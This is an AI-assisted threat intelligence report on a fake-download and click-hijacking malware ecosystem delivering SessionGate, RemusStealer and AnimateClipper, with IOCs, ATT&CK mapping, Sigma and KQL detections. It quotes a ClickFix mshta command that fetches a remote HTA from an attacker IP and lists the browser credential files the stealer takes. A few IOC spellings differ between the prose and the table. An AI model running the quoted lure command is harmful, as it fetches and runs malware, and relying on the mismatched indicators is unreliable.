



LOST BOYS CYBER

THREAT INTELLIGENCE • MALWARE ANALYSIS • DETECTION ENGINEERING



Review intake draft: Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem

Malware Analysis Report

Classification	TLP:CLEAR
Published	2026-06-09
Version	1.0
Author	Lost Boys Cyber
Report Type	Malware Analysis Report

TLP:CLEAR | Lost Boys Cyber | Review intake draft: Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem - Malware Analysis Report

Published: 2026-06-09 | TLP:CLEAR | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, IOCs, detection rules, hunting queries, attribution assessments, and recommendations must be independently reviewed and validated by a qualified security professional before operational use.

Table of Contents

1. Executive Summary
2. Sample Metadata
3. Source Review and Confidence
4. Infection Chain Analysis
5. Technical Analysis
6. Indicators of Compromise
7. MITRE ATT&CK Mapping
8. Detection Engineering
9. Threat Hunting
10. Recommendations
11. References

1. Executive Summary

Check Point Research documented a large traffic-acquisition ecosystem that impersonates popular open-source and freeware projects, then hijacks the victim's first download click into a gated Traffic Distribution System (TDS). The entry sites are deliberately polished and often preserve legitimate-looking GitHub or vendor links in the page source, but client-side JavaScript intercepts the first eligible click and reroutes selected victims into downstream monetization or malware-delivery chains. Observed lookalikes include brands relevant to technical users such as Ghidra, dnSpy, ILSpy, grpcurl, MQTT Explorer, CrystalDiskMark, and WinSetupFromUSB.

The campaign is operationally significant because it separates the visible lure from the actual delivery outcome. Browser- and session-level gating controls whether a user is shown a benign installer, a potentially unwanted application (PUA) offer wall, or malware. Check Point tied the same ecosystem to three materially different branches: a heavily gated multi-stage framework dubbed SessionGate, a Go-based RemusStealer delivery chain focused on browser, wallet, and credential theft, and an AnimateClipper branch that uses ClickFix-style social engineering plus mshta/VBScript/PowerShell staging before loading a clipboard-hijacking cryptocurrency clipper.

From a defender perspective, this is best treated as a malware distribution ecosystem rather than a single family. The most durable signal is not any one payload hash; it is the combination of search-result impersonation, click-interception JavaScript, CloudFront-hosted staging scripts, post-click redirectors, fingerprint-based branching, and follow-on execution patterns such as remote `mshta.exe`, oversized padded payloads, reflective/manual mapping, and browser-data theft. Organizations should assume that detections tied to this ecosystem may indicate user credential exposure, cryptocurrency theft risk, or silent delivery of additional unwanted software.

Immediate action should focus on blocking known infrastructure, monitoring for suspicious browser-to-external-script download flows, alerting on `mshta.exe` and unusual HTA/script execution from user context, and prioritizing incident response for hosts that show both suspicious download-chain telemetry and browser secret access or clipboard manipulation activity. Because the redirect path is intentionally non-deterministic and IP-sensitive, repeated manual reproduction from the same network may fail; defenders should preserve first-seen telemetry and artifacts quickly.

2. Sample Metadata

Field	Value
Ecosystem / families	TDS-driven malware distribution ecosystem delivering SessionGate, RemusStealer, and AnimateClipper
Type	Search-result impersonation, click hijacking, gated TDS routing, malware/PUA delivery
Primary platform	Windows end-user systems; browser-mediated delivery begins on the web
Initial lure theme	Fake project download portals for open-source, freeware, and researcher tooling
Public reporting date	2026-06-03
Primary source	Check Point Research (Alexey Bukhteyev)
Scale indicator	More than 100 active impersonation sites and 5,000+ VirusTotal submissions across visible sample subsets
High-risk victim subset	Developers, malware analysts, researchers, and general users searching for freeware/open-source downloads
High-value entry infrastructure	`d33f51dyacx7bd.cloudfront[.]net`,

	`dcbbwyp1bhlf.cloudfront[.]net`, `oundhertobeconsist[.]org`
Key malware branches	SessionGate PUA framework, RemusStealer MaaS infostealer, AnimateClipper crypto clipper
Confidence	Medium-High for the observed infection-chain details because the primary source is technically rich; Medium for prevalence, victim distribution, and operator intent outside directly observed telemetry

Operational handling summary:

- Treat this as an ecosystem-level detection problem rather than a single-file triage problem.
- Preserve browser, proxy, DNS, and EDR telemetry from the first observed user interaction because repeated access may not reproduce the same branch.
- Assume that successful payload execution may imply credential, wallet, session, or clipboard exposure depending on the branch.

3. Source Review and Confidence

Source	Contribution	Confidence
Check Point Research: "Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem"	Primary technical source for infection-chain, infrastructure, malware-family, and IOC details.	High
Fullstory: "Inside a global campaign hijacking open-source project identities"	Corroborates the existence of a broad fraudulent-domain cluster affecting open-source project identities in late 2025.	Medium
MITRE ATT&CK references	Used to normalize observed behaviors into defender-oriented technique labels.	High

Confidence assessment:

- High confidence that the entry ecosystem uses impersonated software portals, CloudFront-hosted staging scripts, click interception, and TDS-based post-click routing because these behaviors are described with concrete examples and code-level detail in the Check Point analysis.
- High confidence that the observed downstream branches included SessionGate, RemusStealer, and AnimateClipper, with distinct staging logic and infrastructure captured by the source article.
- Medium confidence in exact campaign ownership and monetization relationships. The source strongly supports traffic acquisition and monetization as a primary function, but does not fully resolve whether the same operator controls all downstream payload ecosystems.
- Medium confidence in prevalence metrics beyond the observed subset. The source cites more than 100 active sites and 5,000+ VirusTotal submissions, but total victim count and branch distribution remain inherently incomplete in public reporting.
- Medium-Low confidence for any claim that one branch is the dominant operational outcome; the infrastructure is explicitly designed to branch conditionally by IP, browser, geography, and anti-analysis state.

Assessment boundaries:

- This intake review is source-backed analysis. No independent Lost Boys Cyber detonation or reverse engineering was required to complete the portal review draft.
- Recommendations and detections below therefore prioritize high-signal observable behaviors over claims requiring proprietary telemetry not present in the public source.

4. Infection Chain Analysis

A representative end-to-end chain derived from the source reporting is shown below:

- 1. A victim searches for a legitimate software package or technical utility and clicks a high-ranking impersonation site such as a fake Ghidra, dnSpy, ILSpy, grpcurl, MQTT Explorer, or CrystalDiskMark portal.
- 2. The page loads a CloudFront-hosted JavaScript staging component that prepares a post-click TDS redirect path while leaving the visible link target apparently legitimate.
- 3. On the victim's first eligible interaction, browser-side code intercepts the click, calls ``preventDefault()` / `stopImmediatePropagation()``, and hands the session to a TDS runtime URL.
- 4. The TDS applies stateful gating such as first-visit checks, local storage frequency caps, anti-bot logic, VPN/datacenter filtering, browser-specific serving methods, and campaign identifiers.
- 5. The initial redirector domain (``oundhertobeconsist[.]org`` in observed examples) forwards the session into one of several downstream branches.
- 6. Depending on branch selection, the victim may receive a benign installer/offer-wall flow, a PUA delivery path (SessionGate), a password-protected ZIP containing RemusStealer, or a ClickFix-style mshta-triggered chain leading to AnimateClipper.
- 7. Downstream payload-specific stages then perform their own anti-analysis and server-side gating before delivering the final infostealer, clipper, or bundler/installer component.

Branch-specific summaries:

Branch	Initial delivery artifact	Notable execution traits	Primary risk
SessionGate	Short-lived per-session download URL leading to large SFX-style executable	7-Zip SFX decoy, command-line gating, per-session key release, reflective/manual mapping, encrypted modules	Silent PUA or additional payload delivery under strong anti-analysis controls
RemusStealer	Password-protected ZIP with oversized padded Go loader	Runtime decoding of embedded payload, C2 tasking loop, targeted browser/extension theft	Credential, wallet, and browser-secret compromise
AnimateClipper	ClickFix page instructing remote <code>`mshta.exe`</code> execution	HTA/VBScript -> PowerShell -> bundled Python -> shellcode -> in-memory PE mapping	Cryptocurrency address hijacking and multi-stage script-based intrusion

Why the chain matters:

- It breaks simple user-awareness heuristics because the page can still look legitimate and hover previews may show plausible upstream links.
- It impairs reproducibility because the first click, first IP, and first session state matter.
- It allows the impersonation layer to remain one step removed from the final malware operator while still enabling malware delivery at scale.

5. Technical Analysis

5.1 Impersonation and TDS staging layer

The entry sites share a common browser-side staging pattern. The pages preload CloudFront-hosted TDS scripts such as ``https://d33f51dyacx7bd.cloudfront[.]net/?aydfd=1237183`` and ``https://dcbbwyp1bhlf.cloudfront[.]net/?wbbcd=1236609``. Those scripts monitor the victim's first eligible interaction, select a browser-specific serving method, generate a runtime URL carrying both the page referrer and the clicked destination, then suppress the original navigation. Check Point observed Chrome preferring ``mousedown`` and Firefox preferring ``click``, along with multiple methods for preserving a browser-accepted popup/navigation opportunity.

The decoded staging configuration includes parameters such as redirector domain, pixel/tracking domain, per-domain and per-URI caps, reset intervals, and an additional CloudFront endpoint. In practical terms, the staging layer behaves like a broker that decides whether the session is worth handing to downstream operators. That design explains why analysts may see only a benign path during repeated tests while real users are sometimes routed toward malware.

5.2 Redirector and branch selection

Observed redirectors include ``oundhertobeconsist[.]org``, with additional references to ``unlockcontent[.]org``, ``trkscope[.]xyz``, ``file-enter-web[.]com``, ``media.stellarcloudhub1[.]cfd``, ``arch2.maxdatahost1[.]cyou``, and ``mega.nz``. The source indicates that country, browser type, VPN usage, client fingerprint, click context, and entry domain can all influence branch choice. This means network defenders should not assume that one redirector always yields one payload family.

5.3 SessionGate branch

SessionGate is the most technically distinctive branch in the reporting. The download pages (``originaldownloads[.]info`` and ``getfluxfile[.]com``) create unique, short-lived per-client URLs under multiple Amazon S3 buckets. The first-stage executable embeds a benign-looking 7-Zip SFX decoy, but the file contains roughly 5 MB of additional heavily obfuscated loader logic beyond the benign archive payload.

Observed anti-analysis and gating details include:

- junk code, opaque predicates, and encrypted string blobs placed in function bodies to degrade disassembly/decompilation;
- service-name checks against hashed indicators such as ``eelam``, ``ehdrv``, ``eamonm``, ``epfwfwp``, ``epfw``, ``ekbdfit``, ``edevmon``, ``npf``, ``npcap``, and ``sysmondv``;
- process enumeration and hash-based comparisons rather than plaintext string use;
- checks for Windows Defender PUA/PUS settings and Windows Enterprise edition context;
- distinctive C2 URL construction using tokenized path segments and ``NSIS_InetLoad (Mozilla)`` as user agent.

The stage-1 loader contacts SessionGate C2 domains such as ``appfreshstart[.]com``, ``appgetonline[.]com``, ``webinnosetup[.]com``, and ``appmakingcenter[.]com``. It then derives staged URLs and validates the returned data before either aborting or proceeding to a second SFX-based stage. The second stage manually maps DLL payloads in memory after AES-CBC decryption. One module acts as a "key broker" by contacting CRC-themed domains (``yourfastcrc[.]com``, ``mobileversioncrc[.]com``, ``webcrcprove[.]com``, ``integritycrc[.]com``) and returning transformed token material needed to decrypt DLL #2.

The design strongly suggests one-time or session-bound key release semantics. If the victim session, IP, or timing does not match expected state, the server can return values that look plausible but do not decrypt the real next stage. Operationally, that means first-seen traffic capture is critical; subsequent retrieval may only reproduce decoy behavior.

5.4 RemusStealer branch

The RemusStealer branch ends in a password-protected ZIP archive that contains a heavily padded Go executable. The padding inflates the file to approximately 850 MB on disk while leaving only about 32 MB of non-zero content, a technique that can degrade automated scanning and sandbox processing. The executable decodes an embedded payload from ``rdata`` and manually maps it into memory.

The embedded payload is a C2-driven infostealer marketed as Remus. Observed C2 endpoints include ``http://bucstanor[.]pics:28313``, ``http://baxe[.]pics:48261``, ``http://217.156.122[.]75:1378``, ``http://intem[.]lat:9592``, ``http://ropea[.]top:28313``, ``http://forestoaker[.]com:6290``, ``http://94.231.205[.]229:28313``, and ``http://gluckcreek[.]online:48261``.

Capabilities described in the source include:

- browser database theft from Chromium and Firefox/NSS profiles (``Login Data``, ``Web Data``, ``Cookies``, ``key4.db``, ``cert9.db``, ``logins.json``, ``places.sqlite``, and related artifacts);
- DPAPI-based extraction of Chromium master key material from ``Local State``;
- server-supplied targeting for hundreds of browser extensions, with emphasis on cryptocurrency wallets, password managers, and 2FA add-ons;

- filesystem search and exfiltration using operator-specified masks and path depth;
- arbitrary registry value collection;
- clipboard capture (`Clipboard.txt`) and optional screenshot exfiltration (`Screenshot.bmp`).

From a business-risk perspective, RemusStealer turns this ecosystem into a credential-, wallet-, and session-theft threat rather than merely a nuisance-download problem.

5.5 AnimateClipper branch

The AnimateClipper path uses a ClickFix-style fake verification page that instructs the user to run `C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z`. The fetched object is not a normal archive; it begins with an HTA containing obfuscated VBScript. That script retrieves a disguised `.rtf` PowerShell stage from `http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf`, which in turn pulls `https://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf`, a ZIP containing a bundled Python runtime and a loader disguised as `node\_modules.asar`.

The Python stage launches shellcode in memory, which decrypts and manually maps the final payload. The resulting malware is a cryptocurrency clipper that monitors the clipboard, identifies wallet formats locally, and substitutes attacker-controlled wallet addresses before the user pastes them. Notably, the sample resolves its live C2 via an on-chain lookup against the BNB Smart Chain testnet JSON-RPC endpoint using smart-contract address `0x6936edc505501EBB2F202C985a021a06f1c10C9E`. At the time of the source analysis, that lookup resolved to `kr.hugo-lapp[.]co`.

This branch deserves priority because it combines trusted-binary proxy execution (`mshta.exe`), multiple in-memory transitions, and direct financial theft.

6. Indicators of Compromise

The full indicator set is preserved in `iocs.csv`. The most operationally useful pivots are summarized below.

Type	Value	Description
domain	`d33f51dyacx7bd.cloudfront[.]net`	CloudFront-hosted TDS staging script
domain	`dcbbwypm1bhlfc.cloudfront[.]net`	CloudFront-hosted TDS staging script
domain	`oundhertobeconsist[.]org`	Post-click redirector observed at chain entry
domain	`appfreshstart[.]com`	SessionGate stage-1 C2
domain	`yourfastcrc[.]com`	SessionGate CRC / key-broker C2
url	`http://baxe[.]pics:48261`	RemusStealer fallback C2
url	`http://buccstanor[.]pics:28313`	RemusStealer primary C2
url	`https://185.0xA1.0xFB[.]58/navy.7z`	AnimateClipper ClickFix mshta target
url	`http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf`	AnimateClipper PowerShell stage
domain	`kr.hugo-lapp[.]co`	AnimateClipper resolved C2 domain
sha256	`598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7f`	SessionGate stage 1
sha256	`26f2abfc254a59c2386dd46dca16744f7147`	SessionGate stage 2 DLL #2

	a0f0366cb6008e1d53219175f44c`	
sha256	`39dc2327fe1e5a56ac5ad9dc02f0386cff3d83dcfdc558cacba42ebb9dcc5ec2`	RemusStealer
sha256	`e6a1a428a7c09c9946f7c0179d89b263f442dc3208b5144a9146c200e4185bd6`	AnimateClipper

Additional high-value artifact themes:

- `NSIS\_InetLoad (Mozilla)` as a user agent in SessionGate network activity.
- Password-protected archives followed by oversized padded binaries in the Remus branch.
- `Clipboard.txt`, `Screenshot.bmp`, `key4.db`, `cert9.db`, and `logins.json` as likely exfiltrated artifact names in the Remus branch.
- Embedded replacement wallet addresses and BNB testnet JSON-RPC lookups in the AnimateClipper branch.

7. MITRE ATT&CK Mapping

The mapped techniques below represent defender-useful normalization of the behaviors described in the primary source.

Technique	Name	Evidence
T1583.001	Acquire Infrastructure: Domains	Large impersonation cluster, redirectors, CRC domains, and malware C2 domains all rely on attacker-controlled domain infrastructure.
T1189	Drive-by Compromise	Malicious logic begins when a victim browses to an impersonation portal and interacts with a download element.
T1204.001	User Execution: Malicious Link	The first download click is redirected to attacker-controlled delivery infrastructure.
T1204.002	User Execution: Malicious File	Victims ultimately run staged payloads, SFX executables, HTA content, or password-protected archives.
T1059.005	Command and Scripting Interpreter: Visual Basic	The AnimateClipper branch uses obfuscated VBScript inside an HTA executed by `mshta.exe`.
T1218.005	System Binary Proxy Execution: Mshta	The ClickFix branch explicitly instructs victims to execute remote content via `mshta.exe`.
T1059.001	Command and Scripting Interpreter: PowerShell	The AnimateClipper chain uses PowerShell as an intermediate stage.
T1027	Obfuscated/Compressed Files and Information	SessionGate and follow-on payloads rely on junk code, encrypted strings, disguised file types, and compressed containers.
T1497	Virtualization/Sandbox Evasion	SessionGate performs anti-analysis checks on services, process environment, and session state before delivering malicious stages.

T1105	Ingress Tool Transfer	Multiple branches download additional stages from attacker-controlled infrastructure.
T1620	Reflective Code Loading	SessionGate, RemusStealer, and AnimateClipper all use in-memory or manual mapping approaches for later stages.
T1071.001	Application Layer Protocol: Web Protocols	The ecosystem relies heavily on HTTP/HTTPS for staging, tasking, and payload retrieval.
T1555.003	Credentials from Password Stores: Credentials from Web Browsers	RemusStealer targets Chromium and Firefox credential/cookie stores.
T1115	Clipboard Data	AnimateClipper hijacks clipboard wallet addresses; RemusStealer also captures clipboard data.
T1113	Screen Capture	RemusStealer supports screenshot collection when enabled.

Interpretation:

- Techniques span web delivery, user execution, script abuse, in-memory staging, and credential theft.
- ATT&CK coverage should be used to organize detections around the chain, not to overstate direct observation of every optional capability in every branch.

8. Detection Engineering

Detection strategy should emphasize branch-agnostic chain elements first, then payload-specific enrichments.

Signal	Telemetry Source	Analytic Goal
Browser session followed by access to impersonation or CloudFront staging domains and immediate navigation away from the visible software vendor path.	Proxy, DNS, browser telemetry, EDR network events	Identify likely TDS entry events before payload execution.
`mshta.exe` launching remote content from external IP or non-corporate domain infrastructure.	EDR process + command line + network telemetry	High-confidence alert for AnimateClipper-style execution.
Oversized archive extraction followed by execution of unusually large binaries from user-writable paths.	EDR file + process telemetry	Surface RemusStealer-style padded loader execution.
`NSIS_InetLoad (Mozilla)` user agent or SessionGate-like path tokens contacting `appfreshstart[.]com` or related domains.	Proxy, full packet capture, network sensors	Detect SessionGate C2 negotiation and gating.
Access to browser credential stores or `Local State` followed by external HTTP POST tasking loops.	EDR file telemetry + network telemetry	Detect RemusStealer collection activity.

Clipboard monitoring/replacement patterns plus BNB testnet JSON-RPC requests from non-developer endpoints.	EDR memory/behavioral signals, proxy, firewall	Detect AnimateClipper clipper logic or supporting infrastructure resolution.
--	--	--

8.1 Example Sigma rule

```

title: Suspicious Mshta Remote Archive Delivery Related to TDS Malware Chains
id: 3b9f5d26-b5fd-4de4-a5a4-2c24c4b26f05
status: experimental
description: Detects mshta.exe executing remote content or archive-like URLs consistent with the AnimateClipper ClickFix branch documented in the Check Point TDS ecosystem report.
references:
  - https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/
author: Lost Boys Cyber
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\mshta.exe'
  selection_remote:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_ext:
    CommandLine|contains:
      - '.hta'
      - '.rtf'
      - '.7z'
  condition: selection_img and selection_remote and selection_ext
falsepositives:
  - Rare administrative or legacy-application usage of remote HTA content.
level: high

```

8.2 Example KQL analytic

```

// TDS ecosystem: suspicious remote script/archive execution and follow-on browser-secret access
let suspicious_mshta = DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", ".hta", ".rtf", ".7z")
| project DeviceId, DeviceName, MshtaTime=Timestamp, ProcessCommandLine, InitiatingProcessFileName;
let suspicious_browser_access = DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName in~ ("Login Data", "Web Data", "Cookies", "key4.db", "cert9.db", "logins.json", "places.sqlite", "Local State")
| project DeviceId, BrowserArtifactTime=Timestamp, FileName, FolderPath, InitiatingProcessFileName;
suspicious_mshta
| join kind=leftouter suspicious_browser_access on DeviceId
| where isnull(BrowserArtifactTime) or BrowserArtifactTime between (MshtaTime .. MshtaTime + 2d)
| order by MshtaTime desc

```

8.3 Additional detection guidance

- Retain HTTP user-agent visibility where possible; `NSIS\_InetLoad (Mozilla)` is a useful SessionGate clue.
- Hunt for browser extension targeting where endpoint telemetry can expose access to extension directories or unusual browser profile scraping.
- Watch for child processes or network activity originating from bundled Python runtimes or disguised archive contents in user-writable folders.

9. Threat Hunting

Priority hunt hypotheses:

- 1. Users who visited impersonation portals may have been routed to malware only on their first eligible click, so search for single-event browser/network chains rather than repeated downloads.
- 2. Hosts that executed remote `mshta.exe` or unusual HTA/VBScript/PowerShell stages in user context may belong to the AnimateClipper branch even if later payload files are absent on disk.
- 3. Browser secret access combined with external HTTP POST tasking, especially after archive extraction, may indicate the RemusStealer branch.
- 4. Traffic to SessionGate or CRC domains, especially with tokenized path structures or `NSIS\_InetLoad (Mozilla)`, may identify victims even when payload delivery later failed.
- 5. Wallet-address replacement complaints, failed crypto transfers, or unexpected BNB testnet RPC requests may indicate a clipper infection path.

Recommended hunt pivots:

- entry domains impersonating technical software brands (`ghidralite[.]com`, `dnspy[.]org`, `ilspy[.]org`, `grpcurl[.]com`, `mqttexplorer[.]com`, `mfcmap[.]com`, `crystaldiskmark[.]org`, `guiformat[.]com`, `winsetupfromusb[.]org`)
- redirector and staging infrastructure (`oundhertobeconsist[.]org`, `d33f51dyacx7bd.cloudfront[.]net`, `dcbbwyp1bhlf.cloudfront[.]net`)
- SessionGate CRC/C2 domains and `NSIS\_InetLoad (Mozilla)` requests
- `mshta.exe` with remote arguments, followed by PowerShell, Python, or archive execution from `%TEMP%`, `%Downloads%`, or user-profile paths
- access to browser databases, `Local State`, `Clipboard.txt`, `Screenshot.bmp`, or wallet-related browser extension directories

9.1 Example KQL hunt

```
// Hunt for likely ecosystem entry + suspicious follow-on execution
let infra = dynamic([
    "oundhertobeconsist.org",
    "appfreshstart.com",
    "yourfastcrc.com",
    "mobileversioncrc.com",
    "webcrcprove.com",
    "integritycrc.com",
    "baxe.pics",
    "buccstanor.pics",
    "kr.hugo-lapp.co"
]);
let net = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (infra) or RemoteIP in ("194.150.220.218", "217.156.122.75", "94.231.205.229")
| project DeviceId, DeviceName, NetTime=Timestamp, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine;
let proc = DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("mshta.exe", "powershell.exe", "python.exe", "pythonw.exe")
    or ProcessCommandLine has_any ("fo0suc2ki2.rtf", "navy.7z", "NSIS_InetLoad", "Login Data", "Local State")
| project DeviceId, ProcTime=Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName;
net
| join kind=leftouter proc on DeviceId
| where isnull(ProcTime) or ProcTime between (NetTime - 1h .. NetTime + 48h)
| order by NetTime desc
```

9.2 Investigation notes

- Do not over-weight absence of a disk artifact. Multiple branches use in-memory loaders or per-session gating that can leave minimal durable evidence.
- Preserve the first-seen browser, proxy, and EDR event bundle as a unit; later reproduction may collapse into a benign path.
- For suspected RemusStealer cases, extend hunts to extension directories for password managers, crypto wallets, and 2FA tools.

10. Recommendations

Priority	Owner	Action
Critical	SOC / IR	Block or alert on the known redirector, SessionGate, Remus, and AnimateClipper infrastructure listed in `iocs.csv`, then review historical hits for first-seen browser or process context.
Critical	Endpoint Engineering	Create or tune detections for remote `mshta.exe` execution, HTA/VBScript abuse, and PowerShell stages retrieved from external infrastructure.
High	Detection Engineering	Hunt for browser-secret access (`Login Data`, `Web Data`, `Cookies`, `Local State`, `key4.db`, `cert9.db`, `logins.json`) shortly after suspicious archive execution or unusual network egress.
High	Security Operations	Treat confirmed RemusStealer or clipper-related alerts as account- and wallet-exposure incidents; reset passwords, revoke sessions, and review potentially affected financial operations.
High	Web / Network Security	Add monitoring for tokenized TDS-style redirect chains, abnormal CloudFront-backed click-routing activity, and SessionGate-specific `NSIS_InetLoad (Mozilla)` traffic where full HTTP visibility exists.
Medium	Security Awareness / IT	Reinforce that high-ranking search results and polished project portals are not trust signals, especially for freeware and open-source download workflows. Encourage users to navigate directly to known vendor or repository sources.
Medium	Threat Hunting	Build recurring hunts around the ecosystem behaviors rather than single hashes so that new branches can still be detected when payload families rotate.
Medium	IR / DFIR	When a suspicious first-click event is discovered, preserve browser storage,

		proxy logs, DNS, local temp files, and memory artifacts rapidly because later revisits may no longer reproduce the malicious branch.
--	--	--

11. References

- 1. Check Point Research, Alexey Bukhteyev. "Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem." Published 2026-06-03. <https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/>
- 2. Fullstory. "Inside a global campaign hijacking open-source project identities." Published 2025-11-17. <https://www.fullstory.com/blog/inside-a-global-campaign-hijacking-open-source-project-identities/>
- 3. MITRE ATT&CK. T1189 Drive-by Compromise. <https://attack.mitre.org/techniques/T1189/>
- 4. MITRE ATT&CK. T1218.005 System Binary Proxy Execution: Mshta. <https://attack.mitre.org/techniques/T1218/005/>
- 5. MITRE ATT&CK. T1555.003 Credentials from Password Stores: Credentials from Web Browsers. <https://attack.mitre.org/techniques/T1555/003/>
- 6. MITRE ATT&CK. T1620 Reflective Code Loading. <https://attack.mitre.org/techniques/T1620/>

Refresh notes and remaining gaps:

- Public reporting does not fully resolve actor relationships across the traffic-acquisition, monetization, and downstream malware-delivery layers.
- The source supports strong confidence in the observed branches, but not in the exact frequency with which each branch is served to victims.
- Reproduction sensitivity means fresh victim-side telemetry may reveal additional redirectors, payload buckets, or infrastructure variants beyond those listed here.